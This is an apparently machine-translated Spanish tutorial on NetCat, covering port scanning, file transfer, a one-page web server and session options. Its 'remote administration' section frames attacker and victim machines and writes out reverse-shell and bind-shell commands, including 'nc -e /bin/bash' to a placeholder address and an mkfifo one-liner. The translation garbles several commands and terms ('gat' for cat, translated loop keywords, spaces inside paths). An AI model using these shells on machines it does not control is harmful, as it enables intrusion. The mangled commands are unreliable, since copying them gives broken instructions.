Hay dos paquetes similares disponibles para NetCat con una ligera diferencia entre ellos.
netcat-tradicional Incluye una opción adicional '-e' que se puede utilizar para vincular un programa (i.e bash) con netcat. Esta característica es muy útil para fines de administración remota.
netcat-openbsd tener algún soporte adicional para IPv6 y proxies.
Instalación de NetCat
Aunque NetCat viene preinstalado en la mayoría de las distribuciones de Linux, pero si no es así, se puede instalar fácilmente utilizando los siguientes comandos.
Para el paquete tradicional,
ubuntu@ubuntu: ~ $ sudo apt-get install netcat-tradicional
Para la versión de OpenBSD,
ubuntu@ubuntu: ~ $ sudo apt-get install netcat-openbsd
NetCat para Windows se puede descargar desde aquí https: // SourceForge.net/proyectos/NC110/archivos/.
Ahora exploraremos algunos casos de uso interesantes de Netcat
Escaneo de puertos usando NetCAT
Para escanear en busca de puertos abiertos, use la opción '-Z'. NetCat intentará conectarse a cada puerto sin enviar ningún dato o datos muy limitados en el caso UDP. Escriba lo siguiente
ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
... Snip ..
hackéame.org [217.78.1.155] 80 (http) abierto
Para escanear para una gama de puertos, escriba
ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Desconocido) [192.168.100.72] 80 (http) abierto
(Desconocido) [192.168.100.72] 22 (SSH) Abierto
Transferencia de archivos con NetCat
Otro caso de uso útil de NetCat es la transferencia de archivos entre computadoras remotas. Puede enviar mensajes de texto y archivos binarios de una PC a otra PC. Intentaremos enviar un archivo "archivo.PDF ”desde la PC Linux a Windows PC [IP 192.168.100.72] Uso de NetCat como ejemplo.
En Windows Machine (receptor), escriba lo siguiente
C: \ users> nc -nvlp 1337> archivo.pdf
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)
En la máquina Linux (remitente), escriba lo siguiente
ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexión a 192.168.100.72 1337 Puerto [TCP/*] tuvo éxito!
Administración remota con NetCat
Uno de los mejores casos de uso de NetCat es la administración remota, lo que significa que puede controlar la PC de otra persona usando NetCat. NetCat-Traditional viene con la opción '-e' que se puede usar para unir un programa (i.E CMD.EXE en Windows o Bash en Linux) con un puerto, eso significa que NetCat actuará como comunicador entre el programa y la PC remota. NetCat recibirá comandos de PC remota, ejecutará en el sistema local y enviará los resultados de nuevo a la PC remota. Esta característica se usa ampliamente para fines maliciosos, para mantener traseros en PC y servidores. Esta característica solo está disponible en NetCat-Tradicional, pero con un pequeño truco, NetCat-OpenBSD también se puede usar para el mismo propósito. Puede usar dos formas de controlar la PC de los demás.
en un Caparazón Conexión, un atacante escucha en un puerto y espera que se envíe una conexión desde la máquina de la víctima. Se usa cuando la computadora víctima está detrás de NAT o no tiene IP pública.
Para obtener un shell inverso usando NetCat, debe escuchar en un puerto usando NetCat. Escriba lo siguiente en la máquina del atacante,
ubuntu@ubuntu: ~ $ nc -nvlp 1337
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)
En la máquina de víctimas (si netcat-tradicional esta instalado)
// reemplazar "/bin/bash" con "CMD.exe ”en el caso de Windows
ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash
Para netcat-openbsd (donde la opción "-e" no es compatible)
ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; gat
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f
Mientras que en un Atar Conexión, el atacante une un puerto en la máquina víctima y se conecta a ese puerto utilizando el Socket Client. Se usa cuando la máquina del atacante está detrás de NAT o no tiene una IP pública.
En la máquina de víctimas, escriba
ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Escuchando en [cualquier] 1337 ..
Ahora, para ejecutar comandos en la máquina víctima, escriba
ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Conexión a 127.0.0.1 1337 puerto [tcp/*] tuvo éxito!
$ ID
uid = 1000 (Azad) GID = 1000 (Azad) Grupos = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (Lpadmin), 129 (Sambashare)
Servidor web simple usando netcat
También puede hacer otro truco simple para usar NetCat como servidor web de una sola página mínima. Este servidor web sería muy simple sin configuraciones especiales, y lo usaremos envíe nuestro código HTML al navegador.
ubuntu@ubuntu: ~ $ mientras es verdadero; hacer echo -e "http/1.1 200 OK \ n \ n $ (echo "")" | NC -NVLP 1337; hecho
Mi servidor web simple usando netcat
Escuchando en [0.0.0.0] (Familia 2, puerto 1337)
Ahora, intente obtener la página web con curl
ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/Mi servidor web simple usando netcat
Especifique el tiempo de espera para una sesión de NetCat
Puede especificar el tiempo de espera para una sesión de NetCat utilizando la opción "-W". NetCat desconectará automáticamente su sesión después de que se desmaye el tiempo especificado.
// -W [Tiempo en segundos]
ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Escuchando en [0.0.0.0] (Familia 2, puerto 1234)
Continúe escuchando incluso si el cliente cierra la conexión
En modo normal, el servidor NetCat se apaga y deja de escuchar en el puerto cuando un cliente cierra la conexión. Puede mantener el servidor arriba usando la opción "-k"
ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Escuchando en [0.0.0.0] (Familia 2, puerto 1234)
NetCat es una utilidad simple pero eficiente que se puede utilizar para muchas tareas diarias simples. Viene preinstalado en casi todos los sistemas operativos de UNIX y se puede utilizar para varias tareas como la comunicación entre dos PC, la transferencia de archivos y muchas más.